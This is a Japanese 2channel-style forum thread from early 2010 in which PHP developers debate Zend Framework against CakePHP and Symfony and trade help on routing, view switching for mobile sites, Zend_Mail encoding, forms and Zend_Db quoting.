ZFを応援しているものです。 RADとして使用するのであればCakePHPが〜といった風潮が現在はありますが ZFでもzfコマンドがもっと強化されたり、modelがもっと簡単に実装できたり、 最終的にscaffoldがついたりすると本当に良いフレームワークになりますよね。 勿論そういったRADのガシガシの堅さがなく、緩くて自由度が高いのが ZFの良さでもありますがZend_Applicationなんかが出たときからは ある意味、作り方のルールみたいなのができたりしてますしね。 早くより、便利になりませんかね。 皆さん、ブログとかでもっともっとZFの情報を増やしていきましょい。
829 :
sage :2010/01/08(金) 23:46:30 ID:FFzCAEUM
あっ!!Doctrineがあるか。
ZFなんて使ってるところ聞いたことねー。 SymfonyかCakePHPだけでいいよ。
Symfony使えるって王道だし、Cakeは一度くらいは体験してみるべきだし、 ZFが何物かは知っておいた方がいいってのは言えるな。 疎結合のおかげで相互運用がやりやすくなっているときに どちらかに加担する発想自体が無意味 ってのを理解しているのがZF使いの基本だと思う。
IDE使いとしてはマジックメソッド多用系の実装は迎合出来ねぇなぁ・・・ cakeはそんな印象。
834 :
nobodyさん :2010/01/09(土) 20:27:55 ID:eC7071wh
ZendFrameworkをつかってCakeみたいなの作ればいいかもね! ModelとValidateをCakeに似た感じにしてうまく自動化すればCakeイラネ!
口先だけじゃないなら、ぜひ作って公開してみてくれ Cakeイラネ≒ZFを使いこなせていないに、1000カノッサ
イラネ=使いこなせてない?
837 :
nobodyさん :2010/01/09(土) 22:13:46 ID:eC7071wh
>>835 ZFはライブラリの集まり
使いこなす=どのコンポーネントを使えば使いこなすことになるの?
>836 ZFが使いこなせてくれば、CakeイラネではなくCake連携になる Cakeの良さを引き出すのがZF流 >837 ZFはライブラリの集まりというのは使い方の一つにすぎない 使いこなすということは、ライブラリの使いかたもあるし、 他のFWとの連携、単独使用もありうる "use-at-will"の言葉通り、どう使うかは自由ってのはまんまだが、 "use-at-will"を支える技術的背景や方法論を理解しながら使えれば 使いこなしたことになるというのが、俺流の「使いこなし」キリッ
839 :
nobodyさん :2010/01/09(土) 22:40:53 ID:28GW/CcG
,j;;;;;j,. ---一、 ` ―--‐、_ l;;;;;; {;;;;;;ゝ T辷iフ i f'辷jァ !i;;;;; ZFはライブラリの集まり ヾ;;;ハ ノ .::!lリ;;r゙ `Z;i 〈.,_..,. ノ;;;;;;;;> そんなふうに考えていた時期が ,;ぇハ、 、_,.ー-、_',. ,f゙: Y;;f 俺にもありました ~''戈ヽ `二´ r'´:::. `!
まぁ、FWの選択としてZFは有り得ない。 現実的にも技術者の趣味にしてもな。
841 :
nobodyさん :2010/01/10(日) 11:23:46 ID:JyYQK5lU
>>840 なんでそう思ってんのか書かないと、なんかの信者かただの工作員だ。
たしかに、ZFWのこれから先はは自分で考えてねって感じは、急いでる人や
無能なエンジニアにはちょっと不向きかもね。
842 :
nobodyさん :2010/01/10(日) 12:26:33 ID:IYuPCGtS
>>838 ZFが使いこなせてくれば、CakeイラネではなくCake連携になるとは
具体的に?
他のFWとの連携、単独使用もありうるとか
これこそライブラリの使い方だろ
843 :
nobodyさん :2010/01/10(日) 12:36:39 ID:IYuPCGtS
Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流 Cakeの良さを引き出すのがZF流
>842 単独使用のどこが、ライブラリの使い方なの? 連携のどこがライブラリ(ZFを)の使い方なの? > 具体的に? ZFのMVCを使い、脇にCakeをセット、ドメインは自前で用意しつつ、 簡易実装でいいところは、ビヘイビアをBakeryから入手して動かすとかね。 DDDはZFを基軸にしたほうがやりやすい。
845 :
nobodyさん :2010/01/10(日) 13:48:49 ID:IYuPCGtS
>>844 普通無理に連携しないだろwwww
ZF使いこなしてるのは具体的に
Controller、Applicationを軸に、実装したい機能をコンポーネント
から探してマニュアルやソースコードみて
すばやく実装できるかどうかがポイントだろ?
しょせんWEBアプリ作るためだけなんだから
もちろん
848 :
nobodyさん :2010/01/10(日) 14:59:10 ID:IYuPCGtS
>848 でっかい釣り針すなあ。
うちはMVCの部分だけ使って 細かいライブラリは逆に使ってないわ
851 :
sage :2010/01/10(日) 21:08:02 ID:???
できる限り、一律なやり方で開発できると多人数で開発しやすいし、 担当が変わった場合も引き継ぎ等を含めた保守性も上がりますよね。 MVC部分だけだと勿体ないですよ。 オレオレフレームワークにならないように徹したほうが 良いことが多いですけどね。 特に経営なども絡む管理者層になれば従業員の査定なんかも しやすいですし、工数も見えやすい。 ZFはZend_Appliationを出したなら、もっとガシガシに固めてくれると 助かるんですけどね。
日本的なセンスがないから独自でやった方が楽だし早いよ 特に携帯サイト兼用してたりメール送信絡んだりするシステムは
853 :
sage :2010/01/10(日) 21:53:16 ID:???
日本的なセンスは確かにないですね。 メールはQdMailのライブラリが良いかもですね。 モバイルについては、、フレームワークだけじゃキツイですね。 絵文字が本当にウザイですね。
854 :
nobodyさん :2010/01/10(日) 23:24:54 ID:IYuPCGtS
ZFがメジャーになっちゃこまる連中もいるのさ 撹乱情報が入るが、惑わされないことだぜ
856 :
nobodyさん :2010/01/14(木) 22:49:08 ID:IR5dAcAN
今、ルーティングの勉強をしています。が、よくわからないので教えてください たとえば localhost/school/index/ken/tokyo で東京の学校一覧を表示するとして、 localhost/tokyo でも同じことが出来るように設定することは出来ました (schoolコントローラの indexアクションへのアクセスです) が、これにさらにパラメータがついたとき(または何もつかなかったとき)に 効率的にルーティング設定するにはどうしたら良いですか? school/index/ken/tokyo/type/j(中学校の一覧を作る)、school/index/ken/tokyo/type/h(高校の一覧を作る) みたいにパラメータがついた時でも、一つのルーティング設定で対応することは出来るでしょうか? routes.search.route = "/:ken/type/:type" routes.search.defaults.controller="school" routes.search.defaults.action="index" routes.search.reqs.ken="\w+" routes.search.reqs.type="\w" routes.school.type = "Zend_Controller_Router_Route" 上記で良いのかなと思い試したんですが、これだと最初に出来ていた localhost/tokyo での学校全体一覧が出来なくなりました。 どうしたらパラメータが(複数)ついてもつかなくても各条件で適切に動く設定が出来ますか? お手数おかけしますが宜しくお願いします
857 :
856 :2010/01/14(木) 22:51:09 ID:???
ごめんなさい、routes.search.〜となってるところは全部routes.school.〜のマチガイです
>856 先に、:ken/type/:typeでのルートを書いといて、 次の条件に:kenでヒットするのを書けば? どっちを先に書くか忘れたから逆かもしれないけど
859 :
856 :2010/01/15(金) 06:31:19 ID:Ze0M8NRb
>>858 ありがとうございます。そのやり方で考えたんですが、それだとパラメータが増えた時に
その分だけ設定を無限に増やしていかなければならなくなりますよね?
それだと非効率という気がするんです
たとえば、中学校で、かつ女子校のみに限定して絞り込むとき
/:ken/type/:type/joshiko/:joshiko っていう専用のルーティングをまた作らなければならなくなるし
男子校のみなら男子校用、私立のみなら、、それらが組み合わさったら…と無限にパターンを書き加えてくのは
おかしいのではないかなと。まとめて一つで、各要素があってもなくても動く設定は無理なんでしょうか?
そんなはずないと思いつつわからないのです、正規表現を使ったやり方かなと思ってるんですが難しくて…
どなたか、お知恵を頂けると嬉しいです。すみませんが宜しくお願いします
そこまでやる必要があるなら、 自前でルートを書いてスクリプトで判定するというのが早そうだよ matchとassembleを書くだけだから難しくないし
861 :
856 :2010/01/15(金) 10:37:20 ID:???
>>860 ありがとうございます。あれから色々迷ってたんですがあっさり解決しました。
標準のルーティングが/module/controller/action/var1/val1/var2/val2…で動くように
/:ken/type/:type/* の形でワイルドカード(*)を使って任意変数の繰り返しを表現できるのに
気づきました。どうもすみません、ありがとうございました
今俺ZFを始めているんだが、上の方で批判的な意見とかあって少しやる気が落ちた(苦笑 まぁ、色々と自分で調べまくって自分にはFWはZFが一番合ってると思って始めたから最期までやり通すけど
>>862 日記書くとこ間違ってるよ。
ここは2ちゃんねるといって不特定多数が読む掲示板なんだよ。
わかったらさっさとお帰り。
久々にこのスレ来てみた Live2chで見てるからレスが良く付いて活況だなと思っていたら・・・ もうずっとくだらん論争ばかりが続いていたんだな CakePHPよりもいつも上にあったし てっきり内容が濃いのかと思ってたらコレだ
すみません、ZendFrameworkって例えば$_POSTとかheader()といったPHPで普通に使っていたメソッドなどが非推奨なものが多いようですが、これら非推奨なPHP関数ってどこで調べればいいのでしょうか? うっかり使いまくりそうなのですが・・・
>>865 素直に入門本を買って順にやって行けば順に解説してくれてますよ、
自分はzendframework徹底入門ての買ったけど。
今までの通常のやり方でいいじゃーんって気分になること多いけど、結局素直に従った方が合理的だったり…
安くはないけど買った方が良いんじゃないかなぁ
批判的な意見があるとやる気無くなるって子供かよw
>>862 ZFをこころよく思わない人たちがいろいろ書いたけど、惑わされずに、マイペースで進むといいよ。
むしろ、批判的意見こそ必要だと思われ ばんばん批判し合って風通しよくしようぜ
日本語圏で批判し合っててもそれが本家に届かなかったら意味無いような。 そうでもないか
まぁ、たしかにね なんかうまい方法ないかね
本家に書けばいいじゃん
頭いいな
それはそうと、ZFは日本語圏では具体的にどういうところが使い勝手が悪いの?
>>866 そういう関数のこと全部が載ってますか?
それとも載ってるのは主な関数だけですか?
>>875 私も知りたいです。ただし、下記にあげた以外のコンポーネントで。
・Zend_Filter/Validate の alnum や alpha : あらかじめ Zend_Locale の setLocale で日本を指定してね。
・Zend_Pdf : IPA フォントファイルを使えます。
IBM の i5/OS の人は残念ながら PHPExcel / TCPDF を使ってください。(i5/OS 用の iconv 関数が対応していないため)
・Zend_Mail/Mime : setHeaderEncoding で Base64 を指定して、 なおかつ各種関数に与える日本語文字列をあらかじめ ISO-2022-JP に変換しておいてください
(mbstring エクステンションをコンポーネント内で使ってはいけないルールになっているため、ご面倒ですがあらかじめ変換をお願いします)
・Zend_Mail の携帯電話への対応 : われはと思わん人の contribute を望みます!
日本だと、特に携帯電話の対応が必須だからこいつは便利。 BootstrapでビューのSuffixをPCはphtml、携帯はhtmlとすると同じアドレスで運用できるし、 分岐処理の追加が1つだけになるから楽。
CakePHP、Symfonyにも言える事だが、FWの公式マニュアルは関数とかが分かりにくい ただ文章をツラツラと述べているだけ(その中にたまに簡潔に関数の説明があるだけ)だし 主立ったようなサンプルコードもPHPやPEARのマニュアルに比べても充実していないし 公式運営者達はもっと頑張るべきだな せめてPHPやPEAR程度のマニュアルにしてほしい
Symfonyの本がないっての指摘したら、Symfonyは公式ドキュメントが整備されてるから不必要って帰ってきたんで 見てみたらZendと変わらんレベルだったわ あれじゃ初心者に受け入れられないだろう
> 関数とかが分かりにくい APIの方見てる?
Zendで携帯サイト作ってるけどZend_Mailで件名文字化けするの以外は そんなに困ったことはなかったな もちろん絵文字関連は独自実装したけども
884 :
nobodyさん :2010/01/16(土) 18:58:55 ID:fYNXcpFq
携帯版のページを作るときって、どう対処してますか? 端末判定してviewのみ切り替えてますか? それとも専用のコントローラ書いたりしてるの?
>>880 わざわざ他スレで工作してる暇があったらZFで実績出してアピールしてください
>>879 苦言。
「公式運営者」というものは存在しません。
Zend Technology がお給料出して、開発をバックアップしてください、と依頼した数人は別として、
それ以外はほとんどがボランティアです。
何か足りないものがあると感じたら、
他の誰かがやってくれるのを待つのではなく、
まず「あなた」自身が何かできることがないか考えて見てください。
887 :
nobodyさん :2010/01/16(土) 20:34:09 ID:SFBSLYpy
example.com/zend_index/の中でZendFrameworkを使用と思っているのですが、 コントローラの中で $this->view->headLink()->appendStylesheet('/css/index.css'); を指定して、レイアウトでheadLinkを呼び出した際に example.com/zend_index/css/index.css が呼ばれるようにするにはどうしたらいいでしょうか?
>>882 Base64 エンコードした後の文字列に <や>(の半角)記号が混ざっていると、サニタイズのための処理で除去されて、結果として文字化けしてしまう、という件ですね
mb_strstr 関数の代わりを実装する方法をまだ思いつけないので、この件とまったままになってます。ごめんなさい
>>880 そうだよ、同レベルだよw
しかも俺がザッと見たところ、ZFはまだ関数の説明が文章中たまにされてるし、トピック化されているけれど、CakePHPとSymfonyはそれすらないw
わかりにくいよなw
こう書くとまた何か言われそうだけど、APIの日本語訳が欲しいよな・・・
>>885 いやスレでの話じゃなくて社内でFWどれ採用するか議論したときの話
未経験者に教えるのに本一冊渡してその通りチュートリアルやってもらうのと
公式ドキュメント見て調べてやってねってのじゃ手間が10倍違うから
>>892 本で勉強するのであれば、主な3つのFWのうち、Zendが圧倒的にいいと俺は思うね
Cakeとか全然じゃん
まぁ、そんな難しくないし、マニュアルコンテンツ自体も非常に少ないけどね
ZFは本はしっかりしているが逆にマニュアルは一番内容量が多く、他の2つよりもFW自体濃い
何が逆なんだ
すみません、addroute()の第一引数の意味が分かりません ルートの名前とありますが、何を意味しているのでしょうか? 例えば徹底入門に書かれているコードは $router->addRoute(''article'', new Zend_Controller_Router_Route('article/:idr', //【A】 array( 'module' => 'default', 'controller' => 'article', //【B】 'action' => 'index', 'id' => 1 ) 〜 と書かれています 【A】か【B】の事かと思ったのですが、マニュアルでは $route = new Zend_Controller_Router_Route( 'author/:username', array( 'controller' => 'profile', 'action' => 'userinfo' ) ); $router->addRoute('user', $route); とあり、userはどれとも一致していません この第一引数のルート名というのは何を設定し、何の為のものなのでしょうか?
ルートって根底って意味だぞ コントローラでもアクションでもなくてその下の階層
>>896 ごめんなさい、せっかくお答えして頂いたのにおっしゃっている意味がわかりませんでした
下の階層とはどういう事でしょうか?
/controller/action/ココ という事でしょうか?
それか最初の例で言えば、ArticleController.phpの中という事でしょうか?
少し混乱してきました(恥)
自分は今も調べていて思ったのですが、例えば2つ目のコードで言えばaddRouterの'user'は任意で決めたもので、それを何かの関数で参照とか出来るのかなとも思ったのですが、そういうような記述もどこにもされていませんでした
'user'は何を意味しているのでしょうか?
どこかのコード内に記述されているのでしょうか?
マニュアルのほかにもこのサイト(
http://codezine.jp/article/detail/2226?p=2 )などを参照しましたが分かりませんでした
898 :
897 :2010/01/17(日) 00:20:59 ID:???
もうなんか日本語めちゃくちゃ
addRouterの引数ってRouterだろ
プログラミングセンスないな。 転職したほうがいいと思う。
マニュアルを読めない新人、地図を渡せない玄人ってとこか。
904 :
897 :2010/01/17(日) 16:30:48 ID:???
ごめんなさい。
確かに書いてて自分でも良く分かってはいませんでした(苦笑
自分が分からなかった事を書き直します。
$router->addRoute('news', //【A】
new Zend_Controller_Router_Route('news/:dayr', //【B】
array(
'module' => 'default',
'controller' => 'news',
'action' => 'index',
'day' => date('d'),
),
で、
http://localhost/zend/controller2/news/01 のようにアクセスすればNewsController.phpの内容がブラウザに表示されます。
多くのサンプルを見たところ、【A】と【B】の各第一引数のnewsという文字は一致しておりました。
それでこれらは一致させるものだと単純に思っていたところ
>>895 のマニュアルのサンプルの場合はuserとauthorと、それぞれ異なる文字が書かれていました。
URL自体には【B】の部分に書かれたnewsが必要なのは分かりました。
では【A】の部分のnewsはいったい何を意味しているのだろうと思ったわけです。
この【A】のnewsをfooに変えたとしても、
http://localhost/zend/controller2/news/01 のようにアクセスすればNewsController.phpの内容がブラウザに表示されます。
じゃぁこの【A】の部分のnewsは【A】より以下のコードを識別するために自分で勝手に決めただけで、特別意味はないのかなと思ったわけです。
しかし引数で指定した以上なんらかの意味があるんじゃないかと思いましたが、色々なサンプルで【A】の部分の第一引数を何かに使うというような記述もありませんでした。
そういうわけでこのaddRoute()の第一引数は何を意味しているのかなと疑問に思い質問させていただきました。
この程度なら、マニュアルよりソース見た方が理解早いわな 897の言ってることも分からなくもないだろ。 addRouteの第一引数はgetRouteやremoveRouteメソッドから察するに 他のRouteと識別するものなんだろうけど そもそもルーティングは事前に設計されてるもので 設定から読み込まれたRouteを追加したあとで 動的に取得したり削除したりするケースがあるのかってことだろ
906 :
nobodyさん :2010/01/17(日) 17:59:36 ID:kUgFmiiy
>>904 確かにaddRoute()内の $this->_routes[$name] = $route; を
$this->_routes[] = $route; にすりゃ第一引数(識別子)なしにできるんだろうけど、
'default'という名前の Route がデフォルトで定義されている。
で、'default' が気に入らないから消したいって時に、キーとして指定しやすいからって理由だと思う。
907 :
897 :2010/01/17(日) 18:34:04 ID:???
んったく、話を聞かないし地図も読めねーのかよ。
地図って何だ?
ZendFrameworkのMVCの構造を生かしつつ、MySQLをデータベースに使用しているのですが、Modelの設計がよくわかりません。 なにかMVC構造+MySQLの参考になるようなドキュメントなどはありますか? ぐぐって出てくる解説ページではDBへの接続やDBから取得、追加、削除などもコントローラに書いているようなのですが、 これらは本来Modelに書くべきことなんじゃないかと思っているのですが、ZendFrameworkでは違うのでしょうか?
Modelを操作してんでないの?
現在の実行されているアクションがforwardされたかどうか調べるにはどうすればいいですか? forwardする度にinit内の処理が実行されて困っています。
initは必ず実行されるべきコードだけ書くものだろ?
馬鹿にはzendは無理。
利口な奴は他のFWにいく
ZFは規模がでかすぎるしね
一般的な人はCakeとかもっと簡単なFWの方がいいだろうね
それかPEAR使うとか
フロントコントローラだけでも最初「ウッ」ってくるのに、DBだけでも他と比較にならんほどマニュアルの量多いしw
Cakeなんて比較にならんよw
最初、マニュアルの量の多さに読む気が失せたw
だから、
>>917 の言っている事は一理あるように俺は思う
マニュアルを馬鹿正直に全部読もうとするのは初心者だな。 サンプルコードとAPI流し見すればいいだろ
Zendの規模がでかいってどういうことだ 小さいアプリを作るのであれば開発者はどのフレームワーク使ってもFWの規模を気にすることなんてないだろ
ZF + Smartyの構成で使用しているのだが、 テンプレートをPCと携帯で全部切り替えたいのだが下記のViewRendererを 変更して切り替えることは可能でしょうか。 コントローラには手を加えず、使用するテンプレートフォルダだけ変更したいのです。 $viewRenderer = new Zend_Controller_Action_Helper_ViewRenderer($view); $viewRenderer->setViewBasePathSpec($config->smarty->params->template_dir) ->setViewScriptPathSpec(':controller/:action.:suffix') ->setViewScriptPathNoControllerSpec(':controller/:action.:suffix') ->setViewSuffix('tpl') ->setNoController();
無理やり解決(?)しました やりたくはなかったのですがControllerでRequestに応じて $viewRenderer->setViewScriptPathSpec(':controller/:action.:suffix')を 書き換えたらすんなり行きました
プラグインで切り替えるようにしてもいいだろうけど。 解決したんならいいわ
全てのURLの頭に /param1/param2/ が入る場合のRouterの書き方で質問です。 現在は以下のよう全てのルータに :param1/:param2/ を指定していますが、 この共通部分を一つのルータとし、さらにその下にルータをかますような書き方はできますか? Zend_Controller_Router_Route_Chainがそれっぽいのですが、どうも指定の仕方が悪いようで希望の動作が得られません。 // 現在 $router->addRoute("route1", new Zend_Controller_Router_Route(":param1/:param2/:controller/:action")); $router->addRoute("route2", new Zend_Controller_Router_Route(":param1/:param2/hoge/:action/:param3")); $router->addRoute("route3", new Zend_Controller_Router_Route(":param1/:param2/moge/:action/:param3")); ↓ // 共通部分は別ルートに分ける $baseRouter = $router->addRoute("param", new Zend_Controller_Router_Route(":param1/:param2")); $baseRouter->addRoute("route1", new Zend_Controller_Router_Route(":controller/:action")); $baseRouter->addRoute("route2", new Zend_Controller_Router_Route("hoge/:controller/:action")); $baseRouter->addRoute("route3", new Zend_Controller_Router_Route("moge/:controller/:action")); よろしくお願いします
アレ? Zendの公式ページ変わった? 今までフロントコントローラだと12章とかあったけど・・・ なんかバージョンの選択も出来るようだし ってか、1.10になったんか・・・ 1.9使ってたけど、次は2.0かなとか期待してたのに・・・
928 :
nobodyさん :2010/01/26(火) 12:19:14 ID:kwuQfEUI
すみません、質問があります
上のリンク先のマニュアルの『変数のデフォルト』の部分(又は『変数の制約』の部分)なんですが、
$route = new Zend_Controller_Router_Route(
'archive/:year',
array('year' => 2006)
);
$router->addRoute('archive', $route);
上のルートは '
http://domain.com/archive/2005 ' および '
http://example.com/archive ' のような URL にマッチします。後者の場合、変数 year にはデフォルト値である 2006 が設定されます。
、とありますが、domain.comとexample.comの両方でマッチするのは何故なのでしょうか?
コレは両方ともdomain.comで考えればいいのでしょうか?
それとも、別のベースURIからも参照されていると言うことなのでしょうか?
当マニュアルにはこの『標準のルータ』の章ではそれまで、
http://example.comというのは一度も出てきていないのが急に出てきて 、どういうことなのかと疑問に思いまして
ドキュメントの意図についてはMLとかで直接聞いた方がいいんじゃない? で、ホスト名のルーティングについてはhostnameルートを使う。 使わない場合はどのホスト名でも一致するのが仕様
930 :
sage :2010/01/29(金) 01:53:29 ID:???
なんで、最新安定版が出たのにみんな盛り上がらないの? 「Zend Framework を学ぶ」ってあるよ。
マニュアル随分と詳しくなったね
ただし、上にも書かれているけど、何章と出なくなったのはめんどくさいな 仲間に「何章の何項目めを参照」とか言ってたし、それをメモとかに書き込んでいるし
>>931 まだ読んでないんだけど、具体的にどんなところが詳しくなったの?
読めよw
935 :
nobodyさん :2010/01/29(金) 13:50:18 ID:kJXcpR0Q
Zend_Form_Element_MultiCheckboxでチェックボックス作ったときに、 一番下のチェックボックスをクリックしてオンにすると一番上のチェックボックスも一緒にオンになったり、 二番目のチェックボックスをクリックしてオンにすると一番上のチェックボックスも一緒にオンになったり、 二番目のチェックボックスをクリックしてオフにすると一番上のチェックボックスがオンになったりと、 挙動がおかしいんだけど、この挙動を正常にするにはどうしたらいいですか?
>>931 変わったっけ?
俺全然違いが見つけられないんだけど・・・w
ってか、誤植の部分がまだ直ってなかったりしてるな
コードの誤植、日本語の誤植など
1.6の頃から比べたら変わったけど去年1.8で作ったときに比べてはそんなに変わってない気もするな
938 :
nobodyさん :2010/01/30(土) 22:49:31 ID:/kADIv2E
ゼンドとCI、どっちが使いやすい? 速さ込みで考察しれ。
939 :
nobodyさん :2010/01/30(土) 23:39:26 ID:p3ZI+mNg
ChIitan かな
ZendFrameworkでforwardが期待通りの動きをしてくれません。 編集画面(editAction)→検証(validateAction)→エラーの場合編集画面(editAction)という形にしたいんだけど、 editアクションにforwardしてくれません。どうすればいいでしょうか?
仕様通りに書く
エスパーじゃないからお前がどう書いたらそうなったのかなんて知らん
944 :
nobodyさん :2010/02/01(月) 22:57:43 ID:PP9IaUHC
機内にエスパーの方はいらっしゃいませんかー
$this->_forward("edit",null,null,array("id"=>$id)); なぜゆえ、これじゃダメなん?
いいんじゃない?
無限ループしてるんじゃないの?
zend_formで複数のフォーム要素を並べることってできる? tel: □-□-□ ↑こんな風に3つ作りたいんだけど やり方がわからない。 教えてほしい。
その3つをDisplayGroupに入れて、DisplayGroupにViewScriptデコレータを適用するとか
952 :
nobodyさん :2010/02/05(金) 22:01:54 ID:uF4U6XQX
zend FWを使っていて、Pearのpagerも併用しているんですがpagerのリンクへの値渡しが上手くいきません。 検索ページでgetでのクエリを実行すると localhost/search/index?param1=val1¶m2=val2… のurlで検索結果が返されますが、このパラメータを分解して、 pagerのページリンク(よくある [1][2][3]… ってやつ)には localhost/search/index/param1/val1/param2/val2…?page=2 という形で渡すようにしました。 が、このリンクを踏んで2ページ目に行っても、正しい2ページ目の内容を返してくれません。 パラメータを全く無視した、「条件なし」の検索結果が返されてしまいます。 ※検索クエリ直後の1ページ目の時は正しい結果を返します。 何が原因なんでしょうか? 続きます
953 :
nobodyさん :2010/02/05(金) 22:03:03 ID:uF4U6XQX
続きです
1ページ目、2ページ目の違いとして、
【1ページ目】
URL)
http://localhost/search/index?p=&j=&ws[]=1&ws[]=4&wf=1 パラメータのdump)
array(6) { ["controller"]=> string(6) "search" ["action"]=> string(5) "index" ["p"]=> string(0) "" ["j"]=> string(0) "" ["ws"]=> array(2) { [0]=> string(1) "1" [1]=> string(1) "4" } ["wf"]=> string(1) "1" }
【2ページ目】
URL)
http://localhost/search/index/p//j//ws/1/ws/4/wf/1/?page=2 パラメータのdump)
array(7) { ["index"]=> string(1) "p" [""]=> string(1) "j" [1]=> string(2) "ws" [4]=> string(2) "wf" ["controller"]=> string(6) "search" ["action"]=> string(5) "index" ["page"]=> string(1) "2" }
パラメータの解析は以下の手順でやっています
$params = $this->getRequest()->getParams();
var_dump($params);
また、ルーティングは以下の通りです
;searchアクション
routes.search.route = "/search/*"
routes.search.defaults.controller = "search"
routes.search.defaults.action = "index"
routes.search.type = "Zend_Controller_Router_Route"
どなたか宜しくお願いします。長くなりすみません。
zendFW1.8.1で動かしています
Zend_Rest_Clientで質問なのですが、タイムアウトが10秒の固定で 変更が出来なさそうなので困っています。 クラスを派生させてHTTPを叩く周りに手を入れようとも思ったので すがZendのコードを見ても上手い具合にHTTP周りはprivateやfinal に守られていて手を出せなさそうです。 もしタイムアウト時間を変更する裏技や、代わりに使えそうなRest クライアントのライブラリがあれば教えていただけないでしょうか。 海外の学術機関で共同開発するコードで使う必要があるので英語で ドキュメンテーションされていて継続的にメンテナンスされている 「定番」みたいなライブラリだと大変助かります。 PHP界隈は全くの初心者なので、いわゆる「定番」の類に関しては 殆ど知識がありません。何か良い情報があればよろしくお願いします。
自己解決しました
どうやって解決したのか書けよせめて
>>956 すみません、クダ質すぎて不要な情報かと思ったもので…
indexアクションをデフォルトとしてルーティングで設定してるのに、
検索実行時のurlが/localhost/search/index/var1/val1…となってるのが問題でした
indexがパラメータとして解釈されていました
formのactionを "/search/index" でなく、"/search" にして解決しました
958 :
nobodyさん :2010/02/06(土) 07:00:11 ID:ZjFfb0Vm
すみません、質問です チェックボックスの値をZF型のURLで表現するにはどうしたらいいんでしょうか? 通常 ?cb[]=val1&cb[]=val2 とするものを /cb[]/val1/cb[]/val2 としていいものでしょうか? このURLを前提に、パラメータ解析のプログラムを書いたところエラーになりました コードは $params = $this->getRequest()->getParams(); if($params['cb'] || $params['cb[]']){ if($params['cb'])$hobby = $params['cb']; if($params['cb[]'])$hobby = $params['cb[]']; foreach($hobby as $value){//ここがエラーの44行目 if($value == 1){$this->view->cbChk1 = 'checked '; $cbParam.="/cb[]/1";}//該当チェックボックスにチェックし、パスもつくる if($value == 2){$this->view->cbChk2 = 'checked '; $cbParam.="/cb[]/2";} if($value == 3){$this->view->cbChk3 = 'checked '; $cbParam.="/cb[]/3";} if($value == 4){$this->view->cbChk4 = 'checked '; $cbParam.="/cb[]/4";} } } エラーは 1443 [Fri Feb 05 13:04:09 2010] [error] [client 192.168.0.25] PHP Warning: Invalid argument supplied for foreach() in /var/www/application/controllers/SearchController.php on line 44 1446 [Fri Feb 05 13:04:09 2010] [error] [client 192.168.0.25] PHP Fatal error: Uncaught exception 'Zend_Controller_Dispatcher_Exception' with message 'Invalid controller specified (error)' in /usr/lib/php/Zend/Controller/Dispatcher/Standard.php:241\nStack trace:\n#0 /usr/lib/php/Zend/Controller/Front.php(936): Zend_Controller_Dispatcher_Standard->dispatch(Object(Zend_Controller_Request_Http), Object(Zend_Controller_Response_Http))\n#1 /var/www/html/index.php(32): Zend_Controller_Front->dispatch()\n#2 {main}\n thrown in /usr/lib/php/Zend/Controller/Dispatcher/Standard..php on line 241
959 :
958 :2010/02/06(土) 07:03:08 ID:ZjFfb0Vm
Zend_formは使っていません。 centOS5.3で、zendFWのバージョンは1.8.1です。 よろしくお願いします
ZendってよりURLパラメタとPHPをやり直すべきでは
962 :
nobodyさん :2010/02/06(土) 23:11:47 ID:RDyP93EJ
apacheオススメだよ
え?index()じゃだめなの?
馬鹿にはウェブは無理。HTML描きに戻るしか。
965 :
nobodyさん :2010/02/07(日) 15:50:17 ID:cHUvBtME
基本的な質問でもうしわけないのですが、 下記のようなinsert文の登録値をエスケープする方法がわかりません。 insert into XXXX(id,name,date)value(1,'aaaa','bbbb'),(2,'aaaa','bbbb'),(3,'aaaa','bbbb') これではエラーになってしまいました・・・ $data = $db->quote("insert into XXXX(id,name,date)value(1, ?, ?)", array('aaaa','bbbb')); $db->query($data); すみませんが、お分かりになられる方がおられましたらご教授お願いします。
質問する前にエラー文読めよ
もしかして、quoteする意味、わかってないよね? 悪いこと言わないから、自分が何をわかってないか整理して 適切な場所で聞いた方がいいと思うな。 まぁ、一応ヒントだしとくと、$dataをechoすればわかることだと思うけど。
968 :
966 :2010/02/07(日) 16:23:28 ID:???
一応ヒントだしとくと、ZF関係ないと思う
それヒントじゃなくてズバリ
970 :
nobodyさん :2010/02/07(日) 16:40:12 ID:cHUvBtME
自己解決しました。 知りたかったことはzendのquoteメソッドの書式です。 説明の為に固定値で書きましたが、 'aaaa'や'bbbb'の部分はフォームの入力値が入ります。 PHPの関数でエスケープしてもよかったのですが、 zend使ってるシステムだったのでzendに統一したかったのです。 エラーメッセージは既に本番稼動しているシステムのため、 (php.iniの設定で)非表示にされており、確認できない状態です。 本番稼動中のためhtaccessでの設定上書きも好ましくないです。
>>970 どういうふうに解決したの?
それから、本番環境でもエラーはキャッチしとかないとダメなんじゃないの?
原因特定できないよ。
で、再現するために無駄な時間を費やすと。
>>970 queryとquoteを誤用してるソースが本番にあるわけがないよね
プライドが高すぎて、できないのかもしれないけど、
基礎を勉強したり、ドキュメントに目を通したり、
エラーメッセージを読んだり、そういうことをちゃんとやったほうがいい。
質問するときに、エラーメッセージを書かないとか、省略するとかそれもありえない。
他所でも同じ間違いをすることになりますよ。
ああmagic quartと勘違いしてるのか なんでphp.iniとか言ってるのかと思った
Atokの変換使ったら違う単語出てきた quoteね
ちげーよ SQLに入れるデータをエスケープするのにZend_Dbのquoteを使おうとおもったけど、 ドキュメント読み間違えてZend_Db::queryの用法と勘違いしたって落ちだろ
ZF1.10で何か追加された機能ってある?
MVCってめんどくさく思えるんだけど、やっぱYahoo!とか大手サイトなんかはZFのような提供されているフレームワークではなく、独自に開発したMVC構造なんか使ってるんですかね?
>>978 おおっ、マジですか?
新しい機能が追加されたんですね
それは使えそうな機能ですね
楽しみです
・・・ハイハイ
980 :
nobodyさん :2010/02/08(月) 22:43:57 ID:HuDyW4AI
